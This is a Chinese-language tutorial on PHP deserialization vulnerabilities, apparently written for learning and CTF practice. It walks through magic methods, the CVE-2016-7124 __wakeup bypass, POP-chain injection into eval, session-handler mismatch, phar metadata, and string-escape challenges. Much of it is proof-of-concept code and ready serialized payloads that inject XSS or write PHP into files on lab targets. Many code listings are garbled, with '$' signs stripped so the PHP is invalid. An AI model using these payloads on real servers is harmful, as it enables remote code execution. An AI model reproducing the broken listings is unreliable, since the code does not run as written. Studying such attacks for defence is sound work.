PHP 反序列化漏洞详解与利用
本文深入探讨 PHP 序列化与反序列化机制,详细解析反序列化漏洞的原理、魔术函数利用、常见绕过技巧及实际案例,助你理解并防范此类安全威胁。
- 网络安全
- Web安全
序列化
1.定义:
利用serialize()将一个对象转换为字符串
1.1先看一下直接输出对象
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
print_r($a);
?>
效果:

1.2利用serialize()函数将这个对象进行序列化成字符串然后输出,代码:
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
a=serialize(a);
print_r($a);
?>

2. 分析
2.1 如果不是public属性:
<?php
class test{
public $name="ghtwf01";
private $age="18";
protected $sex="man";
}
$a=new test();
a=serialize(a);
print_r($a);
?>

private分析:
- 发现原本
age属性变成了testage - testage的长度并不是9,但长度显示为9
解释:
private属性序列化的格式是%00类名%00成员名
protect分析:
sex变成了*sex- 长度却是6
解释:
protect属性序列化的时候的格式是%00*%00属性名
反序列化
1. 定义:
利用unserialize()函数将一个经过序列化的字符串转换成一个php代码
<?php
$b='O:4:"test":2:{s:4:"name";s:7:"ghtwf01";s:3:"age";s:2:"18";}';
b=unserialize(b);
print_r($b)
?>

反序列化漏洞利用原理
1. php的魔术函数:
详解链接:https://segmentfault.com/a/1190000007250604
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用
__sleep() 在对象在被序列化之前运行
__wakeup()将在反序列化之后立即被调用
__invoke() 调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
__call() 方法用于监视错误的方法调用。该方法在调用的方法不存在时会自动调用
利用代码演示效果:
<?php
class test{
public $a='hacked by ghtwf01';
public $b='hacked by blckder02';
public function pt(){
echo $this->a.'<br />';
}
public function __construct(){
echo '__construct<br />';
}
public function __destruct(){
echo '__construct<br />';
}
public function __sleep(){
echo '__sleep<br />';
return array('a','b');
}
public function __wakeup(){
echo '__wakeup<br />';
}
}
//创建对象调用__construct
$object = new test();
//序列化对象调用__sleep
serialize=serialize(object);
//输出序列化后的字符串
echo 'serialize: '.$serialize.'<br />';
//反序列化对象调用__wakeup
unserialize=unserialize(serialize);
//调用pt输出数据
$unserialize->pt();
//脚本结束调用__destruct
?>

最后两个__construct是在脚本结束后输出:
- 实例化的时候new了一个对象
- 反序列化的时候创建对象
2. 存在反序列化漏洞的代码
<?php
class A{
public $test = "demo";
function __destruct(){
echo $this->test;
}
}
a=_GET['value'];
aunser=unserialize(a);
?>
这样,我们可以将我们的代码,先进行序列化,再传入,上面的类中有echo函数,我们可以利用他来输出hacked by
注意:
- 我们所进行序列化的代码必须和存在漏洞代码中的类的代码一样
POC:
<?php
class A{
public $test="hacked by ghtwf01";
}
$b= new A();
result=serialize(b);
print_r($result);
?>
O:1:"A":1:{s:4:"test";s:17:"hacked by ghtwf01";}

传送参数
http://localhost:63342/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:17:%22hacked+by+ghtwf01%22;}
接下来,把那个执行代码,转换成危险代码,不如说xss
http://localhost:63342/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:29:%22<script>alert('xss')</script>%22;}
注意:
- 修改代码后,记得修改长度参数

例一
- 本地环境搭建
phpstudy
文件php.php:
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
str=_GET['str'];
if (unserialize(str) === "KEY")
{
echo "$flag";
}
show_source(__FILE__);
flag.php由自己创建再题目代码的同一目录下
文件flag.php:
<?php
$flag='flag{You_Are_Great!!!}';
?>
payload:
<?php
$a="D0g3!!!";
b=serialize(a);
print_r($b);
?>
例二
- 题目代码
<?php
class foo{
public $file = "2.txt";
public $data = "test";
function __destruct(){
file_put_contents(dirname(__FILE__).'/'.this->file,this->data);
}
}
file_name = _GET['filename'];
print "You have readfile ".$file_name;
unserialize(file_get_contents($file_name));
?>
这段代码中,又一个类foo,在他的对象被销毁的时候,会将$data部分的内容,写进$file命名的文件内,并且路径是当前目录.
- POC:
<?php
class foo{
public $file="1.php";
public $data="<?php phpinfo();?>";
}
$a=new foo();
b=serialize(a)
?>
2.1 得到序列化字符串:
O:3:"foo":2:{s:4:"file";s:5:"1.php";s:4:"data";s:18:"<?php phpinfo();?>";}
-
之后,将其放进本地的一个文件中:
-
从首页中传入filename参数
http://localhost/php.php?filename=test.txt


3. CVE-2016-7124 __wakeup绕过
3.1. __wakeup函数简介:
unserialize()会检查是否存在一个__wakeup()方法,如果存在,就会首先调用这个方法,预先准备对象需要的资源
反序列化的时候如果对象属性个数的值大于真实的属性个数的时候会跳过__wakeup执行
3.2. 漏洞影响版本:
-
- php5 < 5.6.25
- php7 < 7.0.10
3.3. 漏洞复现:
代码如下:
<?php
class A{
public $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("hello.php","w");
fputs(fp,this->target);
fclose($fp);
}
}
a = _GET['test'];
b = unserialize(a);
echo "hello.php"."<br/>";
include("./hello.php"); ?>
魔法函数要比__destruct()函数首先执行,所以我们直接传入
O:1:"A":1:{s:6:"target";s:19:"<?php phpinfo(); ?>";}
首先会被执行的是__wakeup()函数,这时候target函数值会被覆盖为wakeup!,然后生成hello.php里面的内容是__wakeup
考虑绕过:
-
- 属性个数的值大于真实属性个数时就会跳过
__wakeup执行
- 属性个数的值大于真实属性个数时就会跳过
构造POC:
O:1:"A":2:{s:6:"target";s:19:"<?php phpinfo(); ?>";}

4. 注入对象构造方法
当目标对象被private和protected修饰时反序列化漏洞的利用
上面说了private和protected返回长度和public不一样的原因
private属性序列化的时候格式是%00类名%00成员名protect属性序列化的时候格式是%00*%00成员名
protected情况下:
<?php
class A{
protected $test = "hahaha";
function __destruct(){
echo $this->test;
}
}
a = _GET['test'];
b = unserialize(a);
?>
构造方式:
<?php
class A{
protected $test = "hahaha";
}
$a = new A();
b = serialize(a);
print_r($b)
?>
得到字符串:
O:1:"A":1:{s:7:"*test";s:6:"hahaha";}
- 注意:
此时的%00并没有显示出来,因此我们需要在传参的url中加上%00

private情况下:
POC:
<?php
class A{
private $test = "hahaha";
}
$a = new A();
b = serialize(a);
print_r($b)
?>
得到字符串:
O:1:"A":1:{s:7:"Atest";s:6:"hahaha";}
同理,我们仍然需要补足%00

5. 同名方法的利用
漏洞代码:
<?php
class A{
public $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
}
class B{
function action(){
echo "action B";
}
}
class C{
public $test;
function action(){
echo "action A";
eval($this->test);
}
}
unserialize($_GET['test']);
?>
- 很显然在代码中,我们希望执行的是C中的
action函数,而不是b中的action函数.
POC:
<?php
class A{
public $target;
function __construct(){
$this->target = new C;
$this->target->test = "phpinfo();";
}
function __destruct(){
$this->target->action();
}
}
class C{
public $test;
function action(){
echo "action C";
eval($this->test);
}
}
$a = new A();
echo serialize($a);
?>
得到字符串:
O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

6. session反序列化漏洞
6.1. 什么是session
英文翻译为”会话”,两个人从开始到结束就构成了一个回话。php里的session主要指客户端浏览器与服务器端数据交换的回话,从浏览器打开到关闭的,一个最简单的回话周期
6.2. PHP session工作流程
当开始一个回话的时候,php会尝试在请求中查找会话ID,如果发现请求的Cookie、Get、Post中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存,例如登录如下网页Cokkie、Get、Post都不存在session id,于是就使用了set-cookie头。有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项
- 会话开始之后,
PHP就会将会话中的数据设置到$_SESSION变量中,如下述代码就是一个在$_SESSION变量中注册变量的例子:
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'ghtwf01'
;}
?>
创建一个session内容是username:ghtwf01

6.3. Php.ini配置
session.save_path="" --设置session的存储位置
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
如phpstudy下上述配置如下:
session.save_path = "/tmp" --所有session文件存储在/tmp目录下session.save_handler = files --表明session是以文件的方式来进行存储的session.auto_start = 0 --表明默认不启动sessionsession.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎session.upload_progress.enabled on --表明允许上传进度跟踪,并填充 _SESSION变量session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息( _SESSION变量)
有关phpsession和php处理器的详解:
6.4. PHP session的存储机制
PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid形式
session.serialize_handler,它定义的引擎有三种
| 处理器名称 | 存储格式 |
|---|---|
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
| php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |
-
php处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');//设置处理器session_start();
_SESSION['session'] = _GET['session'];
?>

到session的存储目录下看一下session

session为$_SESSION['session']的键名,|后为传入GET参数经过序列化后的值

6.5. session的反序列化漏洞利用
php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理:
- 在用
session.serialize_handler = php_serialize存储的字符可以引入|- 再用
session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
- 再用
漏洞代码:
session.php:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
_SESSION['session'] = _GET['session'];
?>
test2.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D0g3{
public $name = 'panda';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new D0g3(); ?>
session.php文件的处理器是php_serialize,test2.php文件的处理器是php,session.php文件的作用是传入可控的 session值,test2.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值
运行一下hello.php看一下效果

POC:
<?php
class D0g3{
public $name = 'ghtwf01';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new D0g3();
echo serialize($str); ?>
显示结果:
O:4:"D0g3":1:{s:4:"name";s:7:"ghtwf01";}ghtwf01

因为session是php_serialize处理器,所以允许|存在字符串中,所以将这段代码序列化内容前面加上|传入session.php中
现在来看一下存入session文件的内容

再打开test2.php

7. Phar拓展反序列化攻击面
1. phar文件简介
一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自java的jar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。phar是一个合成词,由PHP和 Archive构成,可以看出它是php归档文件的意思(简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行)
2. phar的组成结构:
stub: phar文件的标识,格式为xxx<?php xxx;__HALT_COMPILER();?>mainfest: 也就是meta-data,压缩文件的属性等信息,以序列化储存contents: 压缩文件的内容signature: 签名,放在文件的末尾

3. 前提条件:
php.ini中设置为phar.readonly=Off
php version>=5.3.0
phar反序列化漏洞
- 漏洞成因:
phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将反序列化
- demo测试
根据文件结构自己构建一个phar的文件,php内置了phar类处理相关操作
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
phar->setMetadata(o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算
$phar->stopBuffering();
?>
反序列化字符串逃逸:
字符串增加修改原有序列化字符串:
EasyUnser:
<?php
include_once'flag.php';
highlight_file(__FILE__);
function filter($str)
{
return str_replace('secure','secured',$str);
}
class Hacker{
public $username = 'margin';
public $password = 'margin123';
}
$h = new Hacker();
if (isset(_POST['username'])&&isset(_POST['password'])){
//Security filter
h->username=_POST['username'];
c = unserialize(filter(serialize(h)));
if($c->password === 'hacker'){
echo $flag;
}
}
- 想办法逃逸掉原来的
password - 根据过滤函数,过滤后增加一位
逃逸方式:
- 先得到
$h的序列化字符串
<?php
class Hacker{
public $username = 'margin';
public $password = 'hacker';
}
$h = new Hacker();
y = serialize(h);
echo $y;
?>
得到想要的(符合题目的)序列化字符串
O:6:"Hacker":2:{s:8:"username";s:6:"margin";s:8:"password";s:6:"hacker";}
//真正的序列化字符串(由于密码不能控制)
O:6:"Hacker":2:{s:8:"username";s:6:"margin";s:8:"password";s:9:"margin123";}、
//需要补足的字符串
";s:8:"password";s:6:"hacker";}
根据filter函数,会增加secure的位数

猜想,利用secure补足username的位数,后面加上password密码字符串,进而修改password
payload:
<?php class Hacker{ public username ='securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}'; public password = 'margin123'; } h = new Hacker(); y = serialize(h); echo y; ?> //username传送参数 securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";} ";s:8:"password";s:6:"hacker";}这里是31位,想要他作为password字符串,就要补足username的位数,利用filter函数,需要31个secure
- 传参数

Justserialize
根据题目,很显然知道obj的变化顺序
数组--->对象--->序列化字符串--->对象--->数组
根据题意,对象有flag成员,并且值应该是flag
<?php
$obj=(object)array("flag"=>"flag");
obj->min=&obj->flag; //绕过$k!=="flag";
b = serialize(obj);
echo $b;
?>
-
- 得到序列化字符串
O:8:"stdClass":2:{s:4:"flag";s:4:"flag";s:3:"min";R:2;}
由于正则过滤了flag
hex编码绕过,同时将s转变为S(以hex进行识别)
O:8:"stdClass":2:{S:4:"\66\6c\61\67";S:4:"\66\6c\61\67";s:3:"min";R:2;}

键值对逃逸:
变量名(键逃逸):
上例题:
<?php
//flag in fl0gd.php
error_reporting(0);
highlight_file(__FILE__);
yutu = _GET['y'];
function rongyao($a){
return preg_replace('/php|phtml|flag|/i','',$a);
}
if($_COOKIE){
unset($_COOKIE);
}
$_ABC["xiaqing"] = 'xiaqing';
_ABC["qjj"]=yutu;
extract($_POST);
if(!$_GET['photo']){
$_ABC['photo'] = base64_encode('photo.png');
}else{
_ABC['photo'] = md5(base64_encode(_GET['photo']));
}
serialize = rongyao(serialize(_ABC));
if($yutu=='qiaojingjing'){
echo 'you are my rongyao~~';
}else if($yutu=='show_photo'){
phpinfo = unserialize(serialize);
echo file_get_contents(base64_decode($phpinfo['photo']));
}
直接上payload:
_ABC[flagphp]=;s:1:"1";s:5:"photo";s:16:"Li9mbDBnZC5waHA=";}
* 注意要添加;s:1:"1";,作为flagphp被过滤后对应键名值,令photo作为键名后面的作为值
做题过程,原理:
extract($_POST); //将post参数解析成变量
反序列化点
serialize = rongyao(serialize(_ABC)); //存在一条反序列化语句
echo file_get_contents(base64_decode($phpinfo['photo']));
序列化之后调用的函数:

- 这里将php,phtml,flag替换成空
- 我们需要将
$phpinfo['photo']替换成fl0g.php的base64编码但是代码中的photo已经被确定 - 刚好经过序列化的字符串被rongyao函数进行了过滤,字符串的结构可能遭到破坏,那么就有可能会造成漏洞
fl0gd.php的base64编码
ZmwwZ2QucGhw
正常的序列化字符串:
<?php
$yutu='abcdef';
$_ABC["xiaqing"] = 'xiaqing';
_ABC["qjj"]=yutu;
if(!$_GET['photo']){
$_ABC['photo'] = base64_encode('photo.png');
}else{
_ABC['photo'] = md5(base64_encode(_GET['photo']));
}
echo serialize($_ABC);
?>
a:3:{s:7:"xiaqing";s:7:"xiaqing";s:3:"qjj";s:6:"abcdef";s:5:"photo";s:12:"cGhvdG8ucG5n";}

利用过滤函数尝试字符串逃逸:
s:5:"photo";s:12:"cGhvdG8ucG5n";}
改成:
s:5:"photo";s:12:"ZmwwZ2QucGhw";}
如果序列化字符串中存在phtml,或者php
<?php
$yutu='abcdef';
$_ABC["xiaqing"] = 'xiaqing';
_ABC["qjj"]=yutu;
$_ABC['php'] = 's:5:"photo";s:12:"ZmwwZ2QucGhw";}';
if(!$_GET['photo']){
$_ABC['photo'] = base64_encode('photo.png');
}else{
_ABC['photo'] = md5(base64_encode(_GET['photo']));
}
echo serialize($_ABC);
?>
a:4:{s:7:"xiaqing";s:7:"xiaqing";s:3:"qjj";s:6:"abcdef";s:3:"php";s:33:"s:5:"photo";s:12:"ZmwwZ2QucGhw";}";s:5:"photo";s:12:"cGhvdG8ucG5n";}


尝试利用函数:
<?php
$yutu='abcdef';
$_ABC["xiaqing"] = 'xiaqing';
_ABC["qjj"]=yutu;
$_ABC['phpflag'] = 's:5:"photo";s:12:"ZmwwZ2QucGhw";}';
if(!$_GET['photo']){
$_ABC['photo'] = base64_encode('photo.png');
}else{
_ABC['photo'] = md5(base64_encode(_GET['photo']));
}
function rongyao($a){
return preg_replace('/php|phtml|flag|/i','',$a);
}
echo rongyao(serialize($_ABC));
?>

此时的photo 是变量的值所以我们需要继续添加序列化字符串使得 photo 变成变量名
$_ABC['phpflag'] = ';s:3:"qjj";s:5:"photo";s:12:"ZmwwZ2QucGhw";}';
![]()
因此POST传参数:
_ABC['phpflag'] = ';s:3:"qjj";s:5:"photo";s:12:"ZmwwZ2QucGhw";}'
之后右键查看源代码

POP链构造:
- 找到反序列化的点,通过代码给出的类找到危险函数
留言讨论
0 条留言
正在加载留言...